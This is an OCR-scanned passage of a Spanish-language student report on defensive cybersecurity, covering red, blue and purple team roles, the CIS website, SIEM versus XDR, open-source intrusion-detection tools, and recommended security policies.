Su funcibn es | Debe realizar | Coordinar Responder e
monitorear las TI | pruebas de | simulaciones de | investigar
para buscar | penetracion, ataques y de | incidentes de
amenazas, ataques defensas entre | seguridad,
implementa controlados y | ambos  equipos, | coordinar
medidas de | otras asi mismo es el | recuperacion y
seguridad, realiza | metodologias para | canal de | mejorar los
analisis de | encontrar comunicacion y el | procesos de
vulnerabilidad. amenazas 0 | intercambio de | seguridad.
vulnerabilidades. | conocimientos.
Su objetivo es|Su objetivo es|Su objetivo es | Minimizar impacto
proteger identificar y mitigar | mejorar la | del incidente,
constantemente la | las debilidades de | deteccion y | documentar la
compaiiia de | seguridad. tiempos de | amenaza y mejora
amenazas y respuesta, constante de los
ataques. fortaleciendo la | procesos de
seguridad seguridad de
informacion
Fuente Red Team, Blue Team vy Purple Team: funciones y diferencias. (s.f.). UNIR.

https://www.unir.net/ingenieria/revista/red-blue-purple-team-ciberseguridad/

6.5 ¢Qué funcion tiene CIS “Center For Internet Security” dentro de equipos
BlueTeam? Usted debe realizar un pequefio tutorial de como funciona CIS y qué se
debe hacer para encontrar los tutoriales que posee.
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CIS “CENTER FOR INTERNET SECURITY”: Promueve la ciberseguridad a través de la
difusion de tips y consejos para mejorar la practica de la seguridad cibernética.’

TUTORIAL DE FUNCIONAMIENTO CIS

Accedemos al siguiente link https://www.cisecurity.org/ que es el sitio oficial.

Figura 63 Acceso a sitio oficial.

CIS S ecurny

del mundo

do un lugar -

quro

Fuente Imirida Mora Nifio

En la parte de abajo, encontraremos los menus o secciones disponibles para utilizar.

Figura 64 Menu de Controles

Mejores practicas y comunidades de expertos de renombre mundia

@ asBenchmarks™ [l @) IS Securesuite” ll & Ms1SAC % prisac

Fuente Imirida Mora Nifio

Después de leer lo que cada uno significa, le damos clic en la opcion de descarga
y explorar, para el ejemplo utilizaremos el menu de CIS Controls.

Figura 65 Opcion de Descargar.

Controles de seguridad criticos del CIS

junto de acciones priorizadas para proteger su organizacion
rataques.

@ CiIS Controls

7 CIS Controls. (s.f.). CIS. https://www.cisecurity.org/controls

60


https://www.cisecurity.org/controls

Fuente Imirida Mora Nifio

Dentro de la navegacion podemos observar tres opciones como lo es la descripcion
general, las caracteristicas de los controles y sus recursos.

Al ingresar a la opcidn de caracteristicas nos muestra el siguiente menu, de 18
controles los cuales nos permite explorar y al finalizar la opcion de descargarlos:

Figura 66 Menu Caracteristicas

Fuente Imirida Mora Nifio

En la opcion de recursos, encontramos controles gratuitos que nos permiten
descargarlos.

Figura 67 Controladores para descargar.

Fuente Imirida Mora Nifio

Adicionalmente, cuenta con videos que nos permiten observar los tips o
recomendaciones de seguridad cibernética.

61



Figura 68 Videos

Fuente Imirida Mora Nifio

6.6 Debera documentar mediante la elaboracién una tabla las diferencias existentes

entre: SIEM y XDR.

Tabla 13 DIFERENCIAS SIEM Y XDR

CARACTERSTICAS SIEM (SECURITY | XDR (EXTENDED
INFORMATION AND | DETECTION AND
EVENT MANAGEMENT) | RESPONSE)

ENFOQUE PRINCIPAL | Recopila, colecciona y | Maximiza la detencién de
analiza datos de | respuesta de amenazas
seguridad

DATOS DE ENTRADA

Se encarga de registros
de dispositivos y sistemas
como firewall, servidores
y sistemas de seguridad.

Utiliza varias fuentes de
datos como telemetria de
endpoints, trafico de red.

DETENCION DE | Basados en andlisis de | Basados en andlisis de

AMENAZAS comportamientos y | amenazas y un
relacion de eventos para | aprendizaje  automatico
identificar las | para identificar amenazas
irregularidades de los | en tiempo real.
sistemas

RESPUESTA A | Proporcionan alertas, | Utiliza procesos como la

INCIDENTES notificaciones, pero debe | cuarentena de endpoints,
utilizar herramientas de | el aislamiento a la
respuestas adicionales amenaza.

TIPO DE LA | Es unatecnologia estable | Es una tecnologia flotable

TECNOLOGIA y amplia se utiliza mucho |0 nueva, que se

en seguridad cibernética.

encuentra evolucionando
para detectar amenazas
actuales.

Fuente ¢Cudl es la diferencia entre XDR y SIEM? | WatchGuard Technologies. (s.f.). WatchGuard

Technologies |

Network Security, Secure Wi-Fi,

MFA,

and Endpoint

Security Solutions.

https://lwww.watchquard.com/es/wgrd-news/blog/cual-es-la-diferencia-entre-xdr-y-si
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6.7 Defina por lo menos 3 herramientas de deteccion de ataques informaticos con

licencia GPL

Tabla 14 LICENCIA GPL

detencion de intrusiones
de cédigo abierto y es

HERRAMIENTA DESCRIPCION CARACTERISTICAS
SNORT?® Herramienta de e Deteccion de
detencién de intrusiones trafico malicioso.
de codigo abierto, e Creacion de reglas
funciona como un personalizadas
sistema de detencion de segln la
intrusiones red (NIDS), necesidad.
funciona para monitorear e Soporte de
en trafico de red en busca amenaza en
de vulnerabilidades o tiempo real.
ataques conocidos. e Capacidad y
registro de
eventos.
SURICATA?® Herramienta de e Andlisis de tréafico

en tiempo real.
Registro detallado

HOST.

compatible con reglas de de eventos.
Snort
OSSEC (Open Source | Herramienta de e Detencion en
HIDS Security)© detencion de intrusiones cambios de
de codigo abierto, archivos.
funciona como un e Andlisis de
sistema de detencion de actividad del
intrusiones basadas en sistema.
HIDS, aunque se basa en ¢ Notificaciéon en
la seguridad a nivel de tiempo real.

Fuente Imirida Mora Nifio.

8 Asi es Snort, el sistema de deteccion de intrusos mas popular. (s.f.). Grupo Atico34. https:/protecciondatos-
lopd.com/empresas/snort-deteccion-intrusos/

9 (s.f.). https://suricata.io/

10 OSSEC - World's Most Widely Used Host Intrusion Detection System - HIDS. (s.f.). OSSEC. https:/www.ossec.net/
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CONCLUSIONES

A continuacion, brindare la conclusion por cada objetivo especifico:

Realizar simulacion controlada de una amenaza: La realizacion de
simulaciones controladas de amenazas es esencial para comprender la
resiliencia de una organizacion ante posibles ataques cibernéticos. Estas
pruebas permiten identificar vulnerabilidades y debilidades en la seguridad
de la informacién, lo que a su vez facilita la implementaciéon de medidas
proactivas para fortalecer las defensas y mejorar la preparacién contra
amenazas reales.

Conocer regulacion y aspectos legales Colombianos: EI conocimiento de la
regulacion y los aspectos legales colombianos relacionados con la
ciberseguridad es fundamental para garantizar una actuacion ética y legal en
el ambito digital. Estas normativas proporcionan el marco necesario para
proteger la privacidad, los datos y los derechos de las partes involucradas, y
aseguran que las pruebas de intrusién y otras actividades de seguridad se
lleven a cabo de manera responsable y transparente.

Ejecucion de pruebas de intrusion: La ejecucion de pruebas de intrusion
desempefia un papel crucial en la evaluacién y mejora de la seguridad
cibernética. Estas pruebas permiten identificar y abordar vulnerabilidades
antes de que los atacantes reales las exploten, lo que fortalece la resistencia
de las organizaciones ante las amenazas cibernéticas. Ademas, fomentan la
colaboracion entre equipos de seguridad y contribuyen a una respuesta mas
efectiva ante incidentes.

Analizar procesos de seguridad para las organizaciones: El analisis de
procesos de seguridad es esencial para garantizar que las organizaciones
estén preparadas para enfrentar amenazas cibernéticas y proteger sus
activos digitales. Estas evaluaciones proporcionan informacion valiosa sobre
la efectividad de las politicas, procedimientos y controles de seguridad
existentes, lo que permite la implementacién de mejoras y la adaptacion a un
entorno de ciberseguridad en constante cambio. La seguridad de la
informacion se ha convertido en un imperativo, y el andlisis de procesos es
una herramienta clave para alcanzar niveles 6ptimos de proteccion.
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RECOMENDACIONES

MANTENERSE ACTUALIZADOS: La ciberseguridad es un campo en constante
evolucion. Los equipos de seguridad deben estar al tanto de las Ultimas amenazas
y soluciones para adaptarse rapidamente a los cambios en el panorama de la
ciberseguridad.

CUMPLIR CON REGULACIONES NACIONAL: Asegurarse de que todas las
actividades de seguridad cibernética cumplan con las leyes y regulaciones vigentes
a nivel nacional como internacional, es esencial para evitar problemas legales y
éticos.

TRANSPARENCIA Y COMUNICACION: Comunicar claramente los objetivos y
alcances de las pruebas de intrusién a todas las partes involucradas, incluidos los
propietarios de sistemas y los equipos de respuesta a incidentes.

ENFOQUE EN LA MITIGACION: Utilizar los resultados de las pruebas de intrusion
para mejorar la seguridad mediante la correccion de vulnerabilidades y la
implementacion de controles de seguridad efectivos.

UTILIZA CONTRASENAS SEGURAS: Emplea contrasefias complejas, Gnicas y de
al menos 12 caracteres para todas tus cuentas. Considera el uso de un gestor de
contrasefas para gestionarlas de manera segur

SENSIBILIZACION EN SEGURIDAD: Educa a los usuarios y a ti mismo sobre las
practicas de seguridad cibernética, como la identificacibn de phishing y la
importancia de no compartir informacion confidencial.

FIREWALLS Y ANTIVIRUS: Instala un firewall y un programa antivirus confiable en
tus dispositivos para protegerlos contra malware y amenazas en linea.

CONTROL DE ACCESO FiSICO: Limita el acceso fisico a tus dispositivos y
servidores. Utiliza cerraduras y protege los equipos en lugares seguros.

PLAN DE RESPUESTA A INCIDENTES: Desatrrolla y practica un plan de respuesta

a incidentes que detalle como actuar en caso de un ataque cibernético o una brecha
de seguridad.
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ANEXOS

ANEXO 1 LINK DEL VIDEO

LINK: https://www.youtube.com/watch?v=Dd4LM49uDCA

ANEXO 2 ENTREGA TURNITING

Titulo de la Entrega “ Identificador del trabajo de Turnitin Entregado Similitud

INFORME TECNICO 2180152198 281092023 21:19 19% Entregar Trabajo

ANEXO 3 RESPUESTAS A LAS PREGUNTAS

e De qué manera pueden aportar en el campo de la ciberseguridad la
integracion de equipos blue team, red team y Purple team al mismo tiempo
dentro de una organizacion.

Aportan en el proceso de la mitigacion a amenazas en tiempo real, se puede realizar
retroalimentaciones continuas y buscar las mejores técnicas que aporten a mejorar
los procesos de ciberseguridad, buscando asi la prevencion oportuna, eficaz y
eficiente frente a los ataques cibernéticos, fomentando un proceso colaborativo y
una cultura de seguridad dentro de la organizacion.

¢ Plantee politicas de seguridad y recomendaciones para mejorar los aspectos
de ciberseguridad en cualquier organizacion en sus entornos T.I.

Las politicas de seguridad sirven como punto de partida para fortalecer la
ciberseguridad como lo son:

POLITICA DE CONTRASENAS FUERTES: Exigir contrasefias completas,
alfanuméricas, con caracteres especiales, que su cambio sea periddico.

POLITICA DE ACCESO Y CONTROL DE USUARIOS: Limitar el acceso a personal
no autorizado, politicas basadas en el cargo o los roles a desempeiiar, eliminacion
de usuarios cuando ya no laboren en la compaiiia.

POLITICA DE ACTUALIZACION DE SOFTWARE: Mantener sistemas operativos
actualizados y licenciados.

POLITICA DE USO ACEPTABLE DE RECURSOS DE TI: Establecer lo que este
permitido y no permitido respecto al uso de los recursos de Tl y acceso a havegacion
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POLITICA DE COPIAS DE SEGURIDAD Y RECUPERACION DE DATOS: Realizar
backup o copias de seguridad regularmente para datos importantes.

e Conclusiones que orienten aspectos importantes en cuanto a la inversion de
ciberseguridad dentro de las organizaciones, deben tener en cuenta cada
una de las etapas que se ejecutaron a lo largo del seminario para poder
ejecutar estas conclusiones y soportar a la alta gerencia la necesidad de
inversion.

La inversion respecto a procesos de ciberseguridad dentro de la organizacién es
fundamental debido a que con ella se pueden mitigar amenazas o vulnerabilidades
gue atenten al buen funcionamiento de la compafiia como, por ejemplo:

e La implementacion de un grupo de red team o blue team que ayuden a
ejecutar pruebas o realicen evaluacién a los riesgos latentes que se
encuentran en la organizacion.

e La actualizacion de parches, licenciamiento o compra de software o
herramientas que ayuden a la detencion de ataques.

e Un plan de mitigacién antes, durante y después de un ataque cibernético, el
cual permita salvaguardar los procesos en la compainia.

e Creacion de politicas de seguridad y restablecimiento de la informacién en
caso de perdidas.
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